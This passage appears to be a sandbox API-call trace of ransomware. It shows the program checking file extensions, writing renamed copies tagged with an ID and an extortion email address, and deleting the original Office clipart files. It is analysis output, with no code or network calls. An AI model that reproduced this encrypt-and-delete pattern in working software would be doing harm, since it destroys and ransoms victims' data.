	[0073.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.717] lstrlenW (lpString=".xlsx") returned 5
	[0073.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.717] lstrlenW (lpString=".ppt") returned 4
	[0073.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.717] lstrlenW (lpString=".zip") returned 4
	[0073.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.717] lstrlenW (lpString=".rar") returned 4
	[0073.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.717] lstrlenW (lpString=".bz2") returned 4
	[0073.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.717] lstrlenW (lpString=".7z") returned 3
	[0073.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.717] lstrlenW (lpString=".dbf") returned 4
	[0073.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.718] lstrlenW (lpString=".1cd") returned 4
	[0073.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.718] lstrlenW (lpString=".jpg") returned 4
	[0073.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.718] lstrlenW (lpString=".doc") returned 4
	[0073.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.718] lstrlenW (lpString=".docx") returned 5
	[0073.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.718] lstrlenW (lpString=".pdf") returned 4
	[0073.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.718] lstrlenW (lpString=".xls") returned 4
	[0073.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.718] lstrlenW (lpString=".xlsx") returned 5
	[0073.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.718] lstrlenW (lpString=".ppt") returned 4
	[0073.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.718] lstrlenW (lpString=".zip") returned 4
	[0073.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.718] lstrlenW (lpString=".rar") returned 4
	[0073.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.719] lstrlenW (lpString=".bz2") returned 4
	[0073.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.719] lstrlenW (lpString=".7z") returned 3
	[0073.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.719] lstrlenW (lpString=".dbf") returned 4
	[0073.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.719] lstrlenW (lpString=".1cd") returned 4
	[0073.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0073.719] lstrlenW (lpString=".jpg") returned 4
	[0073.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.719] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.719] lstrlenW (lpString="BD19988_.WMF") returned 12
	[0073.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0073.720] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=18304) returned 1
	[0073.720] CloseHandle (hObject=0x37c) returned 1
	[0073.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220
	[0073.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0073.720] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.720] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0073.721] GetLastError () returned 0x0
	[0073.721] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x4780, lpOverlapped=0x0) returned 1
	[0073.723] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x4790, lpOverlapped=0x0) returned 1
	[0073.725] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.725] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.725] SetEndOfFile (hFile=0x394) returned 1
	[0073.725] CloseHandle (hObject=0x394) returned 1
	[0073.727] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.727] SetEndOfFile (hFile=0x37c) returned 1
	[0073.728] CloseHandle (hObject=0x37c) returned 1
	[0073.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1
	[0073.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.729] lstrlenW (lpString=".doc") returned 4
	[0073.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.729] lstrlenW (lpString=".docx") returned 5
	[0073.729] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.729] lstrlenW (lpString=".pdf") returned 4
	[0073.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.729] lstrlenW (lpString=".xls") returned 4
	[0073.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.729] lstrlenW (lpString=".xlsx") returned 5
	[0073.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.730] lstrlenW (lpString=".ppt") returned 4
	[0073.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.730] lstrlenW (lpString=".zip") returned 4
	[0073.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.730] lstrlenW (lpString=".rar") returned 4
	[0073.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.730] lstrlenW (lpString=".bz2") returned 4
	[0073.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.730] lstrlenW (lpString=".7z") returned 3
	[0073.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.730] lstrlenW (lpString=".dbf") returned 4
	[0073.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.730] lstrlenW (lpString=".1cd") returned 4
	[0073.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.730] lstrlenW (lpString=".jpg") returned 4
	[0073.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.730] lstrlenW (lpString=".doc") returned 4
	[0073.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.731] lstrlenW (lpString=".docx") returned 5
	[0073.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.731] lstrlenW (lpString=".pdf") returned 4
	[0073.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.731] lstrlenW (lpString=".xls") returned 4
	[0073.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.731] lstrlenW (lpString=".xlsx") returned 5
	[0073.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.731] lstrlenW (lpString=".ppt") returned 4
	[0073.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.731] lstrlenW (lpString=".zip") returned 4
	[0073.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.731] lstrlenW (lpString=".rar") returned 4
	[0073.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.731] lstrlenW (lpString=".bz2") returned 4
	[0073.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.731] lstrlenW (lpString=".7z") returned 3
	[0073.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.731] lstrlenW (lpString=".dbf") returned 4
	[0073.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.731] lstrlenW (lpString=".1cd") returned 4
	[0073.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0073.732] lstrlenW (lpString=".jpg") returned 4
	[0073.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.732] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.732] lstrlenW (lpString="BD20013_.WMF") returned 12
	[0073.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0073.733] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=11058) returned 1
	[0073.733] CloseHandle (hObject=0x37c) returned 1
	[0073.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220
	[0073.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0073.733] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.733] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0073.734] GetLastError () returned 0x0
	[0073.734] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x2b32, lpOverlapped=0x0) returned 1
	[0073.736] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x2b40, lpOverlapped=0x0) returned 1
	[0073.738] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.738] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.738] SetEndOfFile (hFile=0x394) returned 1
	[0073.738] CloseHandle (hObject=0x394) returned 1
	[0073.739] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.739] SetEndOfFile (hFile=0x37c) returned 1
	[0073.740] CloseHandle (hObject=0x37c) returned 1
	[0073.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1
	[0073.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.741] lstrlenW (lpString=".doc") returned 4
	[0073.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.741] lstrlenW (lpString=".docx") returned 5
	[0073.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.741] lstrlenW (lpString=".pdf") returned 4
	[0073.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.741] lstrlenW (lpString=".xls") returned 4
	[0073.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.741] lstrlenW (lpString=".xlsx") returned 5
	[0073.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.741] lstrlenW (lpString=".ppt") returned 4
	[0073.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.742] lstrlenW (lpString=".zip") returned 4
	[0073.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.742] lstrlenW (lpString=".rar") returned 4
	[0073.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.742] lstrlenW (lpString=".bz2") returned 4
	[0073.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.742] lstrlenW (lpString=".7z") returned 3
	[0073.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.742] lstrlenW (lpString=".dbf") returned 4
	[0073.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.742] lstrlenW (lpString=".1cd") returned 4
	[0073.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.742] lstrlenW (lpString=".jpg") returned 4
	[0073.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.742] lstrlenW (lpString=".doc") returned 4
	[0073.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.742] lstrlenW (lpString=".docx") returned 5
	[0073.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.742] lstrlenW (lpString=".pdf") returned 4
	[0073.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.743] lstrlenW (lpString=".xls") returned 4
	[0073.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.743] lstrlenW (lpString=".xlsx") returned 5
	[0073.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.743] lstrlenW (lpString=".ppt") returned 4
	[0073.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.743] lstrlenW (lpString=".zip") returned 4
	[0073.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.743] lstrlenW (lpString=".rar") returned 4
	[0073.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.743] lstrlenW (lpString=".bz2") returned 4
	[0073.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.743] lstrlenW (lpString=".7z") returned 3
	[0073.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.743] lstrlenW (lpString=".dbf") returned 4
	[0073.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.743] lstrlenW (lpString=".1cd") returned 4
	[0073.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0073.743] lstrlenW (lpString=".jpg") returned 4
	[0073.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.744] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.744] lstrlenW (lpString="BL00008_.WMF") returned 12
	[0073.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0073.744] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=12520) returned 1
	[0073.744] CloseHandle (hObject=0x37c) returned 1
	[0073.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220
	[0073.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0073.745] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.745] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0073.745] GetLastError () returned 0x0
	[0073.746] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x30e8, lpOverlapped=0x0) returned 1
	[0073.990] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x30f0, lpOverlapped=0x0) returned 1
	[0073.992] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.992] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.992] SetEndOfFile (hFile=0x394) returned 1
	[0073.992] CloseHandle (hObject=0x394) returned 1
	[0073.993] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.993] SetEndOfFile (hFile=0x37c) returned 1
	[0073.994] CloseHandle (hObject=0x37c) returned 1
	[0073.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1
	[0074.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.174] lstrlenW (lpString=".doc") returned 4
	[0074.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.174] lstrlenW (lpString=".docx") returned 5
	[0074.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.174] lstrlenW (lpString=".pdf") returned 4
	[0074.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.174] lstrlenW (lpString=".xls") returned 4
	[0074.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.174] lstrlenW (lpString=".xlsx") returned 5
